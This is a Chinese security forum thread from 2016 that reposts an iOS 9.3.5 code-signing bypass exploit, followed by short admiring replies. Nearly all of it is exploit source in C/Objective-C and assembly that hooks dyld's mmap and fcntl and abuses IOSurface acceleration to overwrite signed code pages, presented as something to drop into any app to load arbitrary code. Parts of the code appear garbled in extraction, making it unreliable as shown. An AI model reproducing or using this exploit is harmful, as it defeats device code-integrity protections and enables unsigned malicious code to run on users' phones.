creantan 发表于 2016-9-26 08:51:51

【转】9.3.5 codesign bypass

本帖最后由 creantan 于 2016-9-26 10:09 编辑

935csbypassfixed in 10.drop this code into any app and it should allow you to load arbitrary code in it.https://github.com/kpwn/935csbypass

#import <Foundation/Foundation.h>
#import <sys/syscall.h>
#import <dlfcn.h>
#include <mach-o/nlist.h>
#include <mach-o/dyld.h>
#include <mach-o/fat.h>
#include <sys/mman.h>
#include <mach/mach.h>
#import <IOSurface/IOSurface.h>

kern_return_t IOSurfaceAcceleratorCreate(CFAllocatorRef allocator, int type, void **outAccelerator);
kern_return_t IOSurfaceAcceleratorTransferSurface(void* accelerator, IOSurfaceRef source, IOSurfaceRef dest, CFDictionaryRef, void *);

#ifdef __LP64__
#define mach_hdr struct mach_header_64
#define sgmt_cmd struct segment_command_64
#define sect_cmd struct section_64
#define nlist_ struct nlist_64
#define LC_SGMT LC_SEGMENT_64
#define MH_MAGIC_ MH_MAGIC_64
#else
#define mach_hdr struct mach_header
#define sgmt_cmd struct segment_command
#define sect_cmd struct section
#define nlist_ struct nlist
#define LC_SGMT LC_SEGMENT
#define MH_MAGIC_ MH_MAGIC
#endif
#define load_cmd struct load_command


sect_cmd *find_section(sgmt_cmd *seg, const char *name)
{
    sect_cmd *sect, *fs = NULL;
    uint32_t i = 0;
    for (i = 0, sect = (sect_cmd *)((uint64_t)seg + (uint64_t)sizeof(sgmt_cmd));
         i < seg->nsects;
         i++, sect = (sect_cmd*)((uint64_t)sect + sizeof(sect_cmd)))
    {
      if (!strcmp(sect->sectname, name)) {
            fs = sect;
            break;
      }
    }
    return fs;
}

struct load_command *find_load_command(mach_hdr *mh, uint32_t cmd)
{
    load_cmd *lc, *flc;
    lc = (load_cmd *)((uint64_t)mh + sizeof(mach_hdr));
    while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
      if (lc->cmd == cmd) {
            flc = (load_cmd *)lc;
            break;
      }
      lc = (load_cmd *)((uint64_t)lc + (uint64_t)lc->cmdsize);
    }
    return flc;
}

sgmt_cmd *find_segment(mach_hdr *mh, const char *segname)
{
    load_cmd *lc;
    sgmt_cmd *s, *fs = NULL;
    lc = (load_cmd *)((uint64_t)mh + sizeof(mach_hdr));
    while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
      if (lc->cmd == LC_SGMT) {
            s = (sgmt_cmd *)lc;
            if (!strcmp(s->segname, segname)) {
                fs = s;
                break;
            }
      }
      lc = (load_cmd *)((uint64_t)lc + (uint64_t)lc->cmdsize);
    }
    return fs;
}

void* find_sym(mach_hdr *mh, const char *name) {
    sgmt_cmd* first = (sgmt_cmd*) find_load_command(mh, LC_SGMT);
    sgmt_cmd* linkedit = find_segment(mh, SEG_LINKEDIT);
    struct symtab_command* symtab = (struct symtab_command*) find_load_command(mh, LC_SYMTAB);
    vm_address_t vmaddr_slide = (vm_address_t)mh - (vm_address_t)first->vmaddr;
   
    char* sym_str_table = (char*) linkedit->vmaddr - linkedit->fileoff + vmaddr_slide + symtab->stroff;
    nlist_* sym_table = (nlist_*)(linkedit->vmaddr - linkedit->fileoff + vmaddr_slide + symtab->symoff);
   
    for (int i = 0; i < symtab->nsyms; i++) {
      if (sym_table.n_value && !strcmp(name,&sym_str_table.n_un.n_strx])) {
            return (void*) (uint64_t) (sym_table.n_value + vmaddr_slide);
      }
    }
    return 0;
}

vm_address_t find_dyld() {
    kern_return_t kr      = KERN_SUCCESS;
    vm_address_taddress = 0;
    vm_size_t   size    = 0;
   
    while (1) {
      mach_msg_type_number_t count;
      struct vm_region_submap_info_64 info;
      uint32_t nesting_depth;
      
      count = VM_REGION_SUBMAP_INFO_COUNT_64;
      kr = vm_region_recurse_64(mach_task_self(), &address, &size, &nesting_depth,
                                  (vm_region_info_64_t)&info, &count);
      if (kr == KERN_INVALID_ADDRESS) {
            break;
      } else if (kr) {
            mach_error("vm_region:", kr);
            break; /* last region done */
      }
      
      if (info.is_submap) {
            nesting_depth++;
      } else {
            if (info.protection & PROT_EXEC && info.protection & PROT_READ) {
                if (*(uint32_t*) (address) == MH_MAGIC_ ) {
                  mach_hdr* hd = (mach_hdr*) address;
                  if (hd->filetype == MH_DYLINKER) {
                        return address;
                  }
                }
            }
            address += size;
      }
    }
    return 0;
}

static int fcntlhook(int a, int b) {
    return -1;
}


void memcpy_bypassprot_page(void* addr, void* src) {
    static int fd = 0;
    static vm_offset_t protmap = 0;
    static         CFMutableDictionaryRef dict;
    static         void* accel = 0;
   
    if (!fd) {
      fd = open("/usr/lib/dyld", O_RDONLY);
      
      
      assert(fd!=-1);
      
      char dyld_header;
      
      vm_offset_t off = 0;
      while (1) {
            pread(fd, dyld_header, 0x4000, off);
            
            if (*(uint32_t*)(dyld_header) == MH_MAGIC) {
                break;
            }
            
            off += 0x1000;
      }
      
      
      struct mach_header* hdr = dyld_header;
      struct load_command* lc = hdr + 1;
      for (int i = 0; i < hdr->ncmds; i++) {
            if (lc->cmd == LC_CODE_SIGNATURE) {
                struct linkedit_data_command* codeSigCmd = lc;
                fsignatures_t siginfo;
                siginfo.fs_file_start=off;                              // start of mach-o slice in fat file
                siginfo.fs_blob_start=(void*)(long)(codeSigCmd->dataoff);      // start of CD in mach-o file
                siginfo.fs_blob_size=codeSigCmd->datasize;                        // size of CD
                int result = fcntl(fd, F_ADDFILESIGS_RETURN, &siginfo);
                NSLog(@"Sigload %x", result);
                protmap = off;
                break;
            }
            lc = ((char*)lc) + lc->cmdsize;
      }
      
      assert(protmap);
      
      int width = PAGE_SIZE / (8*4);
      int height = 8;
      
      int pitch = width*4, size = width*height*4;
      int bPE=4;
      char pixelFormat = {'A','R','G','B'};
      dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
      CFDictionarySetValue(dict, kIOSurfaceBytesPerRow, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pitch));
      CFDictionarySetValue(dict, kIOSurfaceBytesPerElement, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &bPE));
      CFDictionarySetValue(dict, kIOSurfaceWidth, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &width));
      CFDictionarySetValue(dict, kIOSurfaceHeight, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &height));
      CFDictionarySetValue(dict, kIOSurfacePixelFormat, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, pixelFormat));
      CFDictionarySetValue(dict, kIOSurfaceAllocSize, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &size));
      assert(IOSurfaceAcceleratorCreate(kCFAllocatorDefault, 0, &accel) == KERN_SUCCESS);
      IOSurfaceAcceleratorTransferSurface(0,0,0,0,0);
      mprotect(0,0,0);
      mlock(0,0);
      mmap(0,0,0,0,0,0);
      IOSurfaceCreate(0);
      memcmp(0,0,0);

    }
   
    CFDictionarySetValue(dict, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &src));
    IOSurfaceRef srcSurf = IOSurfaceCreate(dict);

    munmap(addr,PAGE_SIZE);
    mmap(addr, PAGE_SIZE, PROT_READ|PROT_EXEC, MAP_FIXED|MAP_FILE|MAP_PRIVATE, fd, protmap);
    mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE);
    CFDictionarySetValue(dict, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &addr));
    IOSurfaceRef destSurf = IOSurfaceCreate(dict);
    mprotect(addr, PAGE_SIZE, PROT_READ|PROT_EXEC);
    mlock(addr, PAGE_SIZE);
   
    assert(destSurf && srcSurf);
    assert(IOSurfaceAcceleratorTransferSurface(accel, srcSurf, destSurf, 0, 0) == 0);

    CFRelease(destSurf);
    CFRelease(srcSurf);
}



static void *
mmaphook(void *addr, size_t len, int prot, int flags, int fd, off_t offset)
{
    if (!(prot & PROT_EXEC)) {
      return mmap(addr,len,prot,flags,fd,offset);
    }
    static char* buf = 0;
    if (!buf) {
      buf = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0);
    }
    off_t actoff = 0;
   
    while (actoff < len) {
      pread(fd, buf, PAGE_SIZE, offset+actoff);
      memcpy_bypassprot_page(addr + actoff, buf);
      actoff += PAGE_SIZE;
    }
    return addr;
}

__attribute__((constructor))
void ayy_lmao() {
    // Load PLT entries (munmap breaks dyld..)
   
    mmap(0, 0, 0, 0, 0, 0);
    mlock(0, 0);
    mprotect(0, 0, 0);
   
    char *buf = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0);

   
    mach_hdr* dyld_hdr = (mach_hdr*) find_dyld();
    assert(dyld_hdr);
    assert(dyld_hdr->filetype == MH_DYLINKER);
    // Copy original code

    vm_address_t fcntl = (vm_address_t) find_sym(dyld_hdr, "_fcntl");
    assert(fcntl);
    vm_address_t xmmap = (vm_address_t) find_sym(dyld_hdr, "_xmmap");
    assert(xmmap);
   
    memcpy(buf, (void*)(xmmap & (~PAGE_MASK)), PAGE_SIZE);
   
    // Patch.
   
    extern void _tramp_begin();
    extern void _tramp_end();
    char* xmb = &buf;
    memcpy(xmb, _tramp_begin, ((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin));
   
    vm_address_t* tramp_target = (vm_address_t*) &xmb[((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin)];
    tramp_target --;
    *tramp_target = (vm_address_t) mmaphook;

    // Replace code
   
    memcpy_bypassprot_page((void*)(xmmap & (~PAGE_MASK)), buf);
   
    // Copy original code
   
    memcpy(buf, (void*)(fcntl & (~PAGE_MASK)), PAGE_SIZE);
   
    // Patch.
   
    xmb = &buf;
    memcpy(xmb, _tramp_begin, ((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin));
   
    tramp_target = (vm_address_t*) &xmb[((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin)];
    tramp_target --;
    *tramp_target = (vm_address_t) fcntlhook;
   
    // Replace code
   
    memcpy_bypassprot_page((void*)(fcntl & (~PAGE_MASK)), buf);
}

.align 4
.globl __tramp_begin
.globl __tramp_end
__tramp_begin:
#ifdef __arm64__
ldr x8, __tramp_tgt
br x8
#elif defined __arm__
.thumb
ldr r12, __tramp_tgt
bx r12
#elif defined __x86_64__
jmp *(%rip)
#endif
__tramp_tgt:
#ifdef __LP64__
.quad 0x4141414141414141
#else
.long 0x41414141
#endif
__tramp_end:

飘云 发表于 2016-9-26 09:52:50

666 膜C版~~

[PYG]版务督察 发表于 2016-9-26 10:06:35

膜C版~~

太6了

ZMZwise 发表于 2016-9-26 12:50:10

楼上的俩大牛说话,我也来装装逼,楼下的膜拜吧

雲裏霧裏 发表于 2016-9-26 16:57:27

这么高大上的东西,只有膜拜了,呵呵

0xcb 发表于 2016-9-27 18:08:30

越过签名检查,执行任意代码,my own bug this time
页: [1]
查看完整版本: 【转】9.3.5 codesign bypass